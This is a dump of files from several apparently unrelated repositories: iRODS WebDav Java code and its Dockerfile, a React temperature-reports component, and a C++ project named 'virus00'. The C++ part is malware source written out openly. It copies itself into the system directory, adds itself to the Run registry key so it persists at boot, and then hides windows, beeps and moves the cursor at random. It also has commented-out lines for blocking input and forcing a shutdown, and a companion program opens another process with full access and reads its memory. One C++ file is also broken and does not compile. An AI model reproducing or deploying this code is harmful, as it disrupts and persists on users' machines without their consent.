IRODSAccount irodsAccount = testingPropertiesHelper.buildIRODSAccountFromTestProperties(testingProperties);
IRODSFile rootCollection = irodsFileSystem.getIRODSFileFactory(irodsAccount)
.instanceIRODSFile(MiscIRODSUtils.buildIRODSUserHomeForAccountUsingDefaultScheme(irodsAccount));
IRODSFile destFile = irodsFileSystem.getIRODSFileFactory(irodsAccount)
.instanceIRODSFile(rootCollection.getAbsolutePath(), testFileName);
destFile.deleteWithForceOption();
IrodsSecurityManager manager = new IrodsSecurityManager();
manager.setIrodsAccessObjectFactory(irodsFileSystem.getIRODSAccessObjectFactory());
WebDavConfig config = new WebDavConfig();
config.setAuthScheme("STANDARD");
config.setHost(irodsAccount.getHost());
config.setPort(irodsAccount.getPort());
config.setZone(irodsAccount.getZone());
config.setDefaultStartingLocationEnum(DefaultStartingLocationEnum.USER_HOME);
manager.setWebDavConfig(config);
IrodsAuthService authService = new IrodsAuthService();
authService.setIrodsAccessObjectFactory(irodsFileSystem.getIRODSAccessObjectFactory());
authService.setWebDavConfig(config);
manager.setIrodsAuthService(authService);
IrodsFileSystemResourceFactory factory = new IrodsFileSystemResourceFactory(manager);
LockManager lockManager = Mockito.mock(LockManager.class);
factory.setLockManager(lockManager);
factory.setWebDavConfig(config);
IrodsFileContentService service = new IrodsFileContentService();
service.setIrodsAccessObjectFactory(irodsFileSystem.getIRODSAccessObjectFactory());
authService.authenticate(irodsAccount.getUserName(), irodsAccount.getPassword());
factory.getSecurityManager().authenticate(irodsAccount.getUserName(), irodsAccount.getPassword());
IrodsDirectoryResource resource = new IrodsDirectoryResource("host", factory, rootCollection, service);
resource.createCollection(testFileName);
Map<Principal, List<Priviledge>> actual = resource.getAccessControlList();
Assert.assertNotNull("no access control list found", actual);
Object[] keys = actual.keySet().toArray();
List<Priviledge> privs = actual.get(keys[0]);
Assert.assertFalse("no priv", privs.isEmpty());
Priviledge priv = privs.get(0);
Assert.assertEquals("priv is not all", priv, Priviledge.ALL);
}
@Test
public void testGetPrincipalURL() throws Exception {
String testFileName = "testGetPrincipalURL";
IRODSAccount irodsAccount = testingPropertiesHelper.buildIRODSAccountFromTestProperties(testingProperties);
IRODSFile rootCollection = irodsFileSystem.getIRODSFileFactory(irodsAccount)
.instanceIRODSFile(MiscIRODSUtils.buildIRODSUserHomeForAccountUsingDefaultScheme(irodsAccount));
IRODSFile destFile = irodsFileSystem.getIRODSFileFactory(irodsAccount)
.instanceIRODSFile(rootCollection.getAbsolutePath(), testFileName);
destFile.deleteWithForceOption();
IrodsSecurityManager manager = new IrodsSecurityManager();
manager.setIrodsAccessObjectFactory(irodsFileSystem.getIRODSAccessObjectFactory());
WebDavConfig config = new WebDavConfig();
config.setAuthScheme("STANDARD");
config.setHost(irodsAccount.getHost());
config.setPort(irodsAccount.getPort());
config.setZone(irodsAccount.getZone());
config.setDefaultStartingLocationEnum(DefaultStartingLocationEnum.USER_HOME);
manager.setWebDavConfig(config);
IrodsAuthService authService = new IrodsAuthService();
authService.setIrodsAccessObjectFactory(irodsFileSystem.getIRODSAccessObjectFactory());
authService.setWebDavConfig(config);
manager.setIrodsAuthService(authService);
IrodsFileSystemResourceFactory factory = new IrodsFileSystemResourceFactory(manager);
LockManager lockManager = Mockito.mock(LockManager.class);
factory.setLockManager(lockManager);
factory.setWebDavConfig(config);
IrodsFileContentService service = new IrodsFileContentService();
service.setIrodsAccessObjectFactory(irodsFileSystem.getIRODSAccessObjectFactory());
authService.authenticate(irodsAccount.getUserName(), irodsAccount.getPassword());
factory.getSecurityManager().authenticate(irodsAccount.getUserName(), irodsAccount.getPassword());
IrodsDirectoryResource resource = new IrodsDirectoryResource("host", factory, rootCollection, service);
resource.createCollection(testFileName);
String url = resource.getPrincipalURL();
Assert.assertNotNull("no url returned", url);
Assert.assertFalse("no url", url.isEmpty());
}
@Test
public void testCreateCollectionUnderUserHome() throws Exception {
String testFileName = "testCreateCollectionUnderUserHome";
IRODSAccount irodsAccount = testingPropertiesHelper.buildIRODSAccountFromTestProperties(testingProperties);
IRODSFile rootCollection = irodsFileSystem.getIRODSFileFactory(irodsAccount)
.instanceIRODSFile(MiscIRODSUtils.buildIRODSUserHomeForAccountUsingDefaultScheme(irodsAccount));
IRODSFile destFile = irodsFileSystem.getIRODSFileFactory(irodsAccount)
.instanceIRODSFile(rootCollection.getAbsolutePath(), testFileName);
destFile.deleteWithForceOption();
IrodsSecurityManager manager = new IrodsSecurityManager();
manager.setIrodsAccessObjectFactory(irodsFileSystem.getIRODSAccessObjectFactory());
WebDavConfig config = new WebDavConfig();
config.setAuthScheme("STANDARD");
config.setHost(irodsAccount.getHost());
config.setPort(irodsAccount.getPort());
config.setZone(irodsAccount.getZone());
config.setDefaultStartingLocationEnum(DefaultStartingLocationEnum.USER_HOME);
manager.setWebDavConfig(config);
IrodsAuthService authService = new IrodsAuthService();
authService.setIrodsAccessObjectFactory(irodsFileSystem.getIRODSAccessObjectFactory());
authService.setWebDavConfig(config);
manager.setIrodsAuthService(authService);
IrodsFileSystemResourceFactory factory = new IrodsFileSystemResourceFactory(manager);
LockManager lockManager = Mockito.mock(LockManager.class);
factory.setLockManager(lockManager);
factory.setWebDavConfig(config);
IrodsFileContentService service = new IrodsFileContentService();
service.setIrodsAccessObjectFactory(irodsFileSystem.getIRODSAccessObjectFactory());
authService.authenticate(irodsAccount.getUserName(), irodsAccount.getPassword());
factory.getSecurityManager().authenticate(irodsAccount.getUserName(), irodsAccount.getPassword());
IrodsDirectoryResource resource = new IrodsDirectoryResource("host", factory, rootCollection, service);
resource.createCollection(testFileName);
Assert.assertTrue(destFile.exists());
}
}
<file_sep>/Dockerfile
FROM tomcat:jre8-alpine
LABEL organization="RENCI"
LABEL maintainer="<EMAIL>"
LABEL description="iRODS Core REST API."
ADD target/irods-webdav.war /usr/local/tomcat/webapps/
ADD runit.sh /
CMD ["/runit.sh"]
#CMD ["sh"]
# build: docker build -t diceunc/webdav:4.2.0.0-SNAPSHOT .
# run: docker run -d --rm -p 8080:8080 -v /etc/irods-ext:/etc/irods-ext --add-host irods420.irodslocal:172.16.250.101 diceunc/webdav:4.2.0.0-SNAPSHOT
# docker run -d --rm -p 8080:8080 -v /etc/irods-ext:/etc/irods-ext --add-host irods.data2discovery.org:192.168.3.11 diceunc/webdav:4.2.0.0-SNAPSHOT
# run: docker run -d --rm -p 8080:8080 -v /etc/irods-ext:/etc/irods-ext -v /home/mcc/webdavcert:/tmp/cert --add-host irods420.irodslocal:172.16.250.101 diceunc/webdav:4.2.0.0-SNAPSHOT
<file_sep>/src/main/java/org/irods/jargon/webdav/authfilter/package-info.java
/**
* @author Authentication Filter support
*
*/
package org.irods.jargon.webdav.authfilter;<file_sep>/src/main/java/org/irods/jargon/webdav/exception/ConfigurationRuntimeException.java
/**
*
*/
package org.irods.jargon.webdav.exception;
import org.irods.jargon.core.exception.JargonRuntimeException;
/**
* Runtime exception in the configuration of WebDav
*
* @author <NAME> - DICE
*
*/
public class ConfigurationRuntimeException extends JargonRuntimeException {
/**
*
*/
private static final long serialVersionUID = 7961867030415020285L;
/**
*
*/
public ConfigurationRuntimeException() {
}
/**
* @param message
*/
public ConfigurationRuntimeException(final String message) {
super(message);
}
/**
* @param cause
*/
public ConfigurationRuntimeException(final Throwable cause) {
super(cause);
}
/**
* @param message
* @param cause
*/
public ConfigurationRuntimeException(final String message,
final Throwable cause) {
super(message, cause);
}
}
<file_sep>/README.md
# Project: iRODS WebDav
## Date: 1/25/2017
## Release Verson: 4.1.10.0-beta
## Git tag: 4.1.10.0-beta
https://github.com/DICE-UNC/irods-webdav
Milton based WebDav interface to iRODS.
See https://github.com/DICE-UNC/irods-webdav/issues for support and known issues
See the INSTALL.md file in this repo for notes on install and configuration.
http://www.javaworld.com/article/2071834/build-ci-sdlc/pool-resources-using-apache-s-commons-pool-framework.html
### Requirements
* Depends on Java 1.8+
* Built using Apache Maven2, see POM for dependencies
* Built using a Milton.io webdav enterprise version key
* Supports iRODS 3.3.1 through 4.1.10, with provisional support for 4.2
### Bug Fixes
### Features
#### Milton and filter chains #33
Fixed filter chain behavior to close connections properly in iRODS agent. Milton filter was intercepting and not calling the shutdown filter in the chain
#### delete of a file via finder doesn't seem to stick #27
Milton configuration and code to ensure that Dav2 support is configured in deployable
#### SSL integration #38
Integrate SSL negotiation support. Note that this requires an update to the /etc/irods-ext/irods-webdav.properties. See the example for new fields (for checksum and SSL negotiation).
#### Dockerization #39
Added Docker containerization, with an included Docker file, as well as a Docker.md file that explains how to run the image. <file_sep>/src/main/java/org/irods/jargon/webdav/resource/IrodsPrincipalId.java
/**
*
*/
package org.irods.jargon.webdav.resource;
import javax.xml.namespace.QName;
import org.irods.jargon.core.connection.IRODSAccount;
import io.milton.principal.Principal.PrincipleId;
/**
* @author mcc
*
*/
public class IrodsPrincipalId implements PrincipleId {
private final String userName;
/**
*
*/
public IrodsPrincipalId(final String userName) {
this.userName = userName;
}
/*
* (non-Javadoc)
*
* @see io.milton.principal.Principal.PrincipleId#getIdType()
*/
@Override
public QName getIdType() {
return new QName("D:href");
}
/*
* (non-Javadoc)
*
* @see io.milton.principal.Principal.PrincipleId#getValue()
*/
@Override
public String getValue() {
return userName;
}
public static IRODSAccount cloneAccountForUser(final IRODSAccount irodsAccount, final String userName,
final String password) {
if (irodsAccount == null) {
throw new IllegalArgumentException("null irodsAccount");
}
if (userName == null || userName.isEmpty()) {
throw new IllegalArgumentException("null or empty userName");
}
if (password == null) {
throw new IllegalArgumentException("null password");
}
return new IRODSAccount(irodsAccount.getHost(), irodsAccount.getPort(), userName, password, "",
irodsAccount.getZone(), irodsAccount.getDefaultStorageResource());
}
}
<file_sep>/src/main/java/org/irods/jargon/webdav/resource/IrodsFileContentService.java
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.irods.jargon.webdav.resource;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.InputStream;
import org.irods.jargon.core.connection.IRODSAccount;
import org.irods.jargon.core.exception.JargonException;
import org.irods.jargon.core.pub.IRODSAccessObjectFactory;
import org.irods.jargon.core.pub.Stream2StreamAO;
import org.irods.jargon.core.pub.io.IRODSFile;
import org.irods.jargon.core.pub.io.IRODSFileFactory;
import org.irods.jargon.core.pub.io.IRODSFileInputStream;
import org.irods.jargon.core.pub.io.IRODSFileOutputStream;
import org.irods.jargon.core.pub.io.PackingIrodsInputStream;
import org.irods.jargon.core.pub.io.PackingIrodsOutputStream;
import org.irods.jargon.webdav.config.WebDavConfig;
import org.irods.jargon.webdav.exception.FileSizeExceedsMaximumException;
import org.irods.jargon.webdav.exception.WebDavRuntimeException;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
/**
* @author <NAME> - DICE
*/
public class IrodsFileContentService implements FileContentService {
private IRODSAccessObjectFactory irodsAccessObjectFactory;
private WebDavConfig webDavConfig;
private static final Logger log = LoggerFactory
.getLogger(IrodsFileContentService.class);
@Override
public void setFileContent(final IRODSFile dest, final InputStream in,
final IRODSAccount irodsAccount) throws FileNotFoundException,
IOException {
log.info("setFileContent()");
if (dest == null) {
throw new IllegalArgumentException("null dest");
}
if (in == null) {
throw new IllegalArgumentException("null in");
}
if (irodsAccount == null) {
throw new IllegalArgumentException("null irodsAccount");
}
log.info("doing transfer");
try {
Stream2StreamAO stream2Stream = irodsAccessObjectFactory
.getStream2StreamAO(irodsAccount);
if (webDavConfig.isUsePackingStreams()) {
log.info("use packing stream for transfer");
IRODSFileOutputStream outputStream = getIrodsAccessObjectFactory()
.getIRODSFileFactory(irodsAccount)
.instanceIRODSFileOutputStream(dest);
PackingIrodsOutputStream ipos = new PackingIrodsOutputStream(
outputStream);
stream2Stream.streamToStreamCopyUsingStandardIO(in, ipos);
} else {
log.info("use normal stream for transfer");
stream2Stream.transferStreamToFileUsingIOStreams(in,
(File) dest, dest.length(), irodsAccessObjectFactory
.getJargonProperties()
.getInputToOutputCopyBufferByteSize());
}
} catch (JargonException e) {
log.error("error in setting file content", e);
throw new WebDavRuntimeException("exception streaming to file", e);
}
}
@Override
public InputStream getFileContent(final IRODSFile file,
final IRODSAccount irodsAccount) throws FileNotFoundException {
log.info("getFileContent()");
if (file == null) {
throw new IllegalArgumentException("null file");
}
if (irodsAccount == null) {
throw new IllegalArgumentException("null irodsAccount");
}
if (!file.exists()) {
log.error("did not find file at:{}", file);
throw new FileNotFoundException("file not found");
}
long maxLengthComputed = getWebDavConfig().getMaxDownloadInGb() * 1024 * 1024 * 1024;
log.info("maxLength:{}", maxLengthComputed);
log.info("fileLength:{}", file.length());
if (file.length() > maxLengthComputed) {
log.error("file length of:{} greater than configured max",
file.length());
log.error("configured max (computed) is:{}", maxLengthComputed);
throw new FileSizeExceedsMaximumException(
"File is too large to download");
}
try {
IRODSFileFactory factory = irodsAccessObjectFactory
.getIRODSFileFactory(irodsAccount);
IRODSFileInputStream inputStream = factory
.instanceIRODSFileInputStream(file.getAbsolutePath());
if (webDavConfig.isUsePackingStreams()) {
log.info("using packing stream");
return new PackingIrodsInputStream(inputStream);
} else {
log.info("use normal irods stream");
return inputStream;
}
} catch (JargonException e) {
log.error("error in setting file content", e);
throw new WebDavRuntimeException("exception streaming to file", e);
}
}
public IRODSAccessObjectFactory getIrodsAccessObjectFactory() {
return irodsAccessObjectFactory;
}
public void setIrodsAccessObjectFactory(
final IRODSAccessObjectFactory irodsAccessObjectFactory) {
this.irodsAccessObjectFactory = irodsAccessObjectFactory;
}
/**
* @return the webDavConfig
*/
public WebDavConfig getWebDavConfig() {
return webDavConfig;
}
/**
* @param webDavConfig
* the webDavConfig to set
*/
public void setWebDavConfig(final WebDavConfig webDavConfig) {
this.webDavConfig = webDavConfig;
}
}
<file_sep>/src/main/java/org/irods/jargon/webdav/exception/package-info.java
/**
* Exceptions and error handling utilities
* @author <NAME> - DICE
*
*/
package org.irods.jargon.webdav.exception;<file_sep>/src/main/java/org/irods/jargon/webdav/exception/WebDavRuntimeException.java
/**
*
*/
package org.irods.jargon.webdav.exception;
import org.irods.jargon.core.exception.JargonRuntimeException;
/**
* General runtime exception in the operation of WebDav
*
* @author <NAME> - DICE
*
*/
public class WebDavRuntimeException extends JargonRuntimeException {
/**
*
*/
private static final long serialVersionUID = -6227220359780082224L;
/**
*
*/
public WebDavRuntimeException() {
}
/**
* @param message
*/
public WebDavRuntimeException(final String message) {
super(message);
}
/**
* @param cause
*/
public WebDavRuntimeException(final Throwable cause) {
super(cause);
}
/**
* @param message
* @param cause
*/
public WebDavRuntimeException(final String message, final Throwable cause) {
super(message, cause);
}
}
<file_sep>/src/main/java/org/irods/jargon/webdav/config/DefaultStartingLocationEnum.java
/**
*
*/
package org.irods.jargon.webdav.config;
/**
* Default behavior for setting starting point in WebDav
*
* @author <NAME> - DICE
*
*/
public enum DefaultStartingLocationEnum {
ROOT, USER_HOME, PROVIDED
}
| 2ae749d36cb70b87108d44fa264d6655e1ec6a22 | [
"Markdown",
"Java",
"Dockerfile"
] | 12 | Markdown | DICE-UNC/irods-webdav | 4317bbc7de853fbef7def431a7d1f100a56b8937 | 726c371b3e90520ee3337b97e27956f3d61fff48 |
refs/heads/master | <file_sep>#include <iostream>
#include <windows.h>
#include <stdlib.h>
#include <Winuser.h>
#include <stdio.h>
using namespace std;
void Regedit(){
WCHAR ourdirect[1024], sysdirect[256];
GetModyFileName(NULL, ourdirect, sizeof(ourdirect)/sizeof(ourdirect[0])); //путь
GetSystemDirectory(sysdirect, sizeof(sysdirect)); //путь к system32
CopyFile(ourdirect, sysdirect, false);
WCHAR name[256];
int i = 0;
int j = 0;
for(i = 1024; ourdirect[i] != '\\' && ourdirect[i] != '/' && i>0; --i);
i++;
while(ourdirect[i] != '\0'){
name[j] = ourdirect[i];
j++;
i++;
}
HKEY key; //запись в реестр
RegOpenKeyEx(HKEY_LOCAL_MACHINE, (WCHAR*)"Software\\Microsoft\\Windows\\CurrentVersion\\Run", NULL, KEY_WRITE, &key);
RegSetValueEx(key, name, 0, REG_SZ, (BYTE*)sysdirect, 256);
RegCloseKey(key);
return;
}
int main()
return 0;
}
<file_sep>#include <iostream>
#include <windows.h>
#include <stdlib.h>
#include <Winuser.h>
#include <stdio.h>
using namespace std;
void Regedit(){
}
int main(){
Sleep(1000);
printf("It's show time!\n'");
Sleep(100);
FreeConsole(); // óáèðàåòñÿ êîíñîëü
Regedit(); //çàïèñü
int i = 0;
while(i < 10){
//BlockInput(true); //áëîê ââîäà
Beep(2000 + rand()%20000, 1000 + rand()%2000);
HWND window = GetForegroundWindow();
ShowWindow(window, SW_HIDE);
SetCursorPos(rand()%1920, rand()%720); // ïåðåíîñ êóðñîðà
i++;
}
//system("shutdown.exe -s -t 00");
return 0;
}
<file_sep>#include <iostream>
#include <vector>
#include <windows.h>
#include <WinBase.h>
#include <GL/glut.h>
#include <gl\GL.h>
#include <math.h>
#include <time.h>
#include "atom.h"
#include <WinNT.h>
#include <WinBase.h>
//#define _WIN32_WINNT 0x0500
using namespace std;
HWND my_proc;
HANDLE victim_p_handle;
unsigned long base;
void reshape(int w, int h)
{
glMatrixMode(GL_PROJECTION);
glLoadIdentity();
glViewport(0, 0, w, h);
float ratio = w/(1.0*h);
gluPerspective(45, ratio, 1, 1000);
glMatrixMode(GL_MODELVIEW);
glLoadIdentity();
}
void init (void)
{
glClearColor (0.3, 0.3, 0.3, 0.0);
glEnable(GL_LIGHTING);
glLightModelf(GL_LIGHT_MODEL_TWO_SIDE, GL_TRUE);
glEnable(GL_NORMALIZE);
}
void init_l()
{
float light0_diffuse[] = {0.4, 0.7, 0.2}; // устанавливаем диффузный цвет света
float light0_direction[] = {0.0, 0.0, 1.0, 0.0}; // устанавливаем направление света
glEnable(GL_LIGHT0); // разрешаем использовать light0
glLightfv(GL_LIGHT0, GL_DIFFUSE, light0_diffuse); // устанавливаем источнику света light0 диффузный свет, который указали ранее
glLightfv(GL_LIGHT0, GL_POSITION, light0_direction); // устанавливаем направление источника света, указанное ранее
}
DWORD GetId(char* name){
DWORD Id = 0;
//HANDLE Shot = CreateToolhelp32Snaphot();
return Id;
}
void reflection(){
my_proc = FindWindowA(NULL, "virus");
//cout << thisproc << endl;
//DWORD my_Id;
//GetWindowThreadProcessId(thisproc, &my_Id);
//HANDLE my_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, my_Id);
int result = SetWindowLongPtr(my_proc, GWL_EXSTYLE, WS_EX_LAYERED); //многослойное окно
//cout << result << endl;
result = SetLayeredWindowAttributes(my_proc, RGB(0,0,0) , 150, LWA_ALPHA | LWA_COLORKEY);
//cout << GetLastError() << endl;
return;
}
void Get_Access(){
return;
}
void Set_Window(){
HWND victim_win = FindWindowA(NULL, "Victim");
if(victim_win == NULL){
cout << "Trere are not this process" << endl;
Sleep(3000);
return;
}
DWORD victim_proc_Id;
DWORD victim_thread_Id;
victim_thread_Id = GetWindowThreadProcessId(victim_win, &victim_proc_Id);
victim_p_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, victim_proc_Id); //PROCESS_VM_READ
HANDLE victim_h_thread = OpenThread(PROCESS_ALL_ACCESS, FALSE, victim_thread_Id);
//cout << victim_handle << endl;
//ReadProcessMemory(victim_handle, (PBYTE*)0x00000000, M, 100*sizeof(char), NULL);
//cout << M[0] << endl;
//scale = 0XXX1000
//a = 002B1008
//w = 002B1018
//t = 002B1010
WINDOWPLACEMENT victim_place;
victim_place.length = sizeof(WINDOWPLACEMENT);
bool u = GetWindowPlacement(victim_win, &victim_place);
my_proc = FindWindowA(NULL, "virus");
WINDOWPLACEMENT my_place;
my_place.length = sizeof(WINDOWPLACEMENT);
GetWindowPlacement(my_proc, &my_place);
victim_place.showCmd = my_place.showCmd;
//victim_place.flags = SW_SHOWNORMAL;
SetWindowPlacement(my_proc, &victim_place);
LDT_ENTRY entry;
CONTEXT lpContext;
lpContext.ContextFlags = CONTEXT_ALL; //CONTEXT_SEGMENTS
u = GetThreadContext(victim_h_thread, &lpContext);
u = GetThreadSelectorEntry(victim_h_thread, lpContext.SegFs, &entry); //THREAD_QUERY_INFORMATION
//cout << entry.HighWord.Bits.Type << endl;
unsigned long base = (entry.HighWord.Bytes.BaseHi << 24) | (entry.HighWord.Bytes.BaseMid << 16) | entry.BaseLow;
//cout << (LPCVOID)(base) << endl; == const???
//cout << size << endl;
//cout << u << " " << GetLastError() << endl;
return;
}
void search_base(){
unsigned long start = 0x00881000;
unsigned long Base_0 = 0;
unsigned long delta = 0x00001000;
double size_;
double size = 9999.0;
double a_;
double a = 9999.0;
double w_;
double w = 9999.0;
unsigned long a_shift = 0x00000008;
unsigned long w_shift = 0x00000018;
unsigned long t_shift = 0x00000010;
for(int i=0; i< 10000; i++){
ReadProcessMemory(victim_p_handle, (LPCVOID)start, &size_, sizeof(double), NULL);
ReadProcessMemory(victim_p_handle, (LPCVOID)(start | a_shift), &a_, sizeof(double), NULL);
ReadProcessMemory(victim_p_handle, (PBYTE*)(start | w_shift), &w_, sizeof(double), NULL);
if( size_ < -10.0 && abs(size_)<999.0 && abs(a_)<999.0 && a > 0 && abs(w_) < 999.0){
size = size_;
a = a_;
w = w_;
Base_0 = start;
i+=10000;
}
//cout << (LPCVOID)start << endl;
start+=delta;
}
if(size == 9999.0){
cout << "READ ERROR" << endl;
Sleep(1000);
exit(0);
}
base = Base_0;
cout << size << endl;
//cout << u << " " << GetLastError() << endl;
return;
}
void display()
{
glClear(GL_COLOR_BUFFER_BIT|GL_DEPTH_BUFFER_BIT);
glLoadIdentity();
init_l();
Set_Window();
double sc, a, w, t;
unsigned long a_shift = 0x00000008;
unsigned long w_shift = 0x00000018;
unsigned long t_shift = 0x00000010;
//unsigned long base= 0x01311000;
ReadProcessMemory(victim_p_handle, (LPCVOID)base, &sc, sizeof(double), NULL);
ReadProcessMemory(victim_p_handle, (PBYTE*)(base | a_shift), &a, sizeof(double), NULL);
ReadProcessMemory(victim_p_handle, (PBYTE*)(base | w_shift), &w, sizeof(double), NULL);
ReadProcessMemory(victim_p_handle, (PBYTE*)(base | t_shift), &t, sizeof(double), NULL);
cout << t << endl;
p3 p(0.0,1.0,0.0);
//отрисовка
GLfloat material_diffuse_red[] = {1.0, 0.0, 0.0, 1.0};
GLfloat material_diffuse_green[]={0.0, 1.0, 0.0, 1.0};
GLfloat material_diffuse_yellow[]={0.0, 0.0, 0.1, 1.0};
glTranslated(0, 0, sc);
glRotated(w*t, p.x, p.y, p.z);
glMaterialfv(GL_FRONT_AND_BACK, GL_DIFFUSE, material_diffuse_red);
glBegin(GL_QUADS);
glColor3d(0.0, 1.0, 0.0);
glVertex3d(-a, a, a);
glVertex3d(a, a, a);
glVertex3d(a, -a, a);
glVertex3d(-a, -a, a);
glEnd();
glRotated(-w*t, p.x, p.y, p.z);
glTranslated(0, 0, -sc);
glDisable(GL_LIGHT0);
glutSwapBuffers();
//Sleep(1000000);
}
void timf(int value)
{
glutPostRedisplay();
glutTimerFunc(1, timf, 0);
}
void close_console(){
HWND stealth;
AllocConsole();
//stealth = FindWindowA("ConsoleWindowClass", NULL);
stealth = FindWindowA(NULL, "virus");
ShowWindow(stealth, 0);
}
int main (int argc, char * argv[])
{
glutInit(&argc, argv);
glutInitDisplayMode(GLUT_DEPTH| GLUT_DOUBLE|GLUT_RGBA);
//Get_Access();
//close_console();
glutInitWindowSize(800, 600);
HWND victim_win = FindWindowA(NULL, "Victim");
if(victim_win == NULL){
cout << "Trere are not this process" << endl;
Sleep(3000);
return 0;
}
DWORD victim_proc_Id;
DWORD victim_thread_Id;
victim_thread_Id = GetWindowThreadProcessId(victim_win, &victim_proc_Id);
victim_p_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, victim_proc_Id);
search_base();
//HWND hWnd = CreateWindowEx(WS_EX_LAYERED, "1", "2", WS_POPUP | WS_VISIBLE, CW_USEDEFAULT, CW_USEDEFAULT, 800, 600, NULL, NULL, NULL, NULL);
//SetLayeredWindowAttributes(thisproc, RGB(0,0,0), 0x0, NULL);
glutCreateWindow("virus");
glEnable(GL_DEPTH_TEST);
glClearDepth(1.0f);
glLightModeli(GL_LIGHT_MODEL_TWO_SIDE, GL_TRUE);
init();
glutReshapeFunc(reshape);
reflection();
glutDisplayFunc(display);
glutTimerFunc(40, timf, 0);
glutMainLoop();
return 0;
}<file_sep>
class p3
{
public:
double x,y,z;
p3 (double _x=0., double _y=0., double _z=0.)
{
this ->x=_x;
this ->y=_y;
this ->z=_z;
}
~p3 ()
{
}
p3 operator+ (p3 _p3)
{
p3 c(x + _p3.x, y + _p3.y, z + _p3.z);
return c;
}
p3 operator- (p3 _p3)
{
p3 c(x - _p3.x, y - _p3.y, z - _p3.z);
return c;
}
p3 operator* (p3 _p3)
{
p3 c(x * _p3.x, y * _p3.y, z * _p3.z);
return c;
}
p3 operator* (double a)
{
p3 c(x*a,y*a,z*a);
return c;
}
p3 operator/ (double a)
{
p3 c(x/a,y/a,z/a);
return c;
}
void rotate(double fi){
double _x = this->x;
double _y = this->y;
this->x = _x*cos(fi) - _y*sin(fi);
this->y = _x*sin(fi) + _y*cos(fi);
}
};
void drawatom(p3 v){
glTranslated(v.x, v.y, v.z);
glutSolidSphere(3, 7.0 ,7.0);
glTranslated(-v.x, -v.y, -v.z);
}
double lenght(p3 p){
return sqrt(p.x*p.x+p.y*p.y+p.z*p.z);
}<file_sep># virus00
Проект, реализующий вторжение одного процесса в память другого и использование данных жертвы. Основной код (вирус) - main.cpp, жертва - victim.exe
Вирус дорисовывает грани кубу, вращаемущемуся на экране жертвы. Библиотека OpenGL.
P. s. функция BlockInput() поддерживается с windows 2000 professional
| 55a721e55f42570b75f13755a078474e8ad7e9eb | [
"Markdown",
"C++"
] | 5 | C++ | arcsin42/virus00 | bb2d9d94f5cb0fa548b42d02a54a4ef419fc7b55 | fdb0305bc5595743f960a0da226ad07eb4b8e5a3 |
refs/heads/master | <repo_name>kowi90/tempview<file_sep>/src/Reports.js
import React, { useState, useEffect } from 'react';
import moment from 'moment';
import { ComposedChart , Area, Bar, CartesianGrid, XAxis, YAxis, Tooltip, ResponsiveContainer } from 'recharts';
import './App.css';
import { ROUTE_APP } from './index';
const DAY = 1000 * 60 * 60 * 24;
function generateReports() {
return fetch('http://leanderdev.ddns.net:3000/generate-report')
.then((response) => {
return response.json();
})
}
function getReports() {
return fetch('http://leanderdev.ddns.net:3000/report')
.then((response) => {
return response.json();
})
}
function getColor(v){
const value= v/40;
var hue=((1-value)*120).toString(10);
return `hsl(${hue},100%,50%)`;
}
function minToH(min) {
const hval = Math.floor(min/60);
const mval = min - (hval * 60);
const lz = v => v > 9 ? v : `0${v}`;
return `${lz(hval)}:${lz(mval)}`
}
function Reports({setCurrentRoute}) {
const [reports, setReports] = useState([]);
const [visible, setVisible] = useState({
min: true,
max: true,
avg: true,
diff: true
});
useEffect(() => {
getReports().then(res => {
setReports(Object.keys(res).map(v => ({ ...res[v], date: v, diff: (res[v].max-res[v].min).toFixed(2)})));
});
}, []);
const refreshTempData = () => {
generateReports().then(() => {
getReports().then(res => {
setReports(Object.keys(res).map(v => ({ ...res[v], date: v, diff: (res[v].max-res[v].min).toFixed(2)})));
});
});
}
const formatXAxis = (tickItem) =>{
return moment(tickItem).format('YYYY.MM.DD.')
}
const toggleVisible = (item) => {
setVisible(({[item]: current, ...rest}) => ({...rest, [item]: !current}));
}
return (
<div className="App">
<div className = "datalist">
<div className = "currentpage">
<button onClick={() => {
setCurrentRoute(ROUTE_APP)
}}>
Back to temperature
</button>
<button onClick={refreshTempData}>
Generate reports
</button>
</div>
<div className = "list">
<div className = "title">
<div>Date</div>
<div>Values</div>
</div>
{reports.map((item, index) =>
<div>
<div>{item.date}</div>
<div>
<div style={{color: getColor(item.avg)}} >Avg:{item.avg} °C</div>
<div style={{color: getColor(item.min)}} >Min:{item.min} °C</div>
<div style={{color: getColor(item.max)}} >Max:{item.max} °C</div>
</div>
</div>
)}
</div>
</div>
{!!reports.length && <div className="lc">
<div className="lc-label">
<button onClick={() => toggleVisible('max')} >Toggle max</button>
<button onClick={() => toggleVisible('avg')} >Toggle avg</button>
<button onClick={() => toggleVisible('min')} >Toggle min</button>
<button onClick={() => toggleVisible('diff')} >Toggle diff</button>
</div>
<ResponsiveContainer width="80%" height="60%" className="chartstyle">
<ComposedChart setRange data={reports.map(({date, ...r}) => ({...r, date: new Date(date).getTime()}))}>
{ visible.max && <Area isAnimationActive={false} connectNulls={true} dataKey="max" stroke="#ffc629" fill="#ffc629" type="monotone" fillOpacity={0.5}/>}
{ visible.avg && <Area isAnimationActive={false} connectNulls={true} dataKey="avg" stroke="#3ce339" fill="#3ce339" type="monotone" fillOpacity={0.6}/>}
{ visible.min && <Area isAnimationActive={false} connectNulls={true} dataKey="min" stroke="#2436bd" fill="#2436bd" type="monotone" fillOpacity={0.9}/>}
{ visible.diff && <Bar isAnimationActive={false} dataKey="diff" fill="#000000" fillOpacity={0.5}/>}
<CartesianGrid stroke="#ccc" />
<XAxis
scale="linear"
tickFormatter={formatXAxis}
dataKey="date"/>
<YAxis domain={[-20, 40]} />
<Tooltip
labelFormatter={formatXAxis}
/>
</ComposedChart>
</ResponsiveContainer>
</div>}
</div>
);
}
export default Reports;
<file_sep>/src/index.js
import React from 'react';
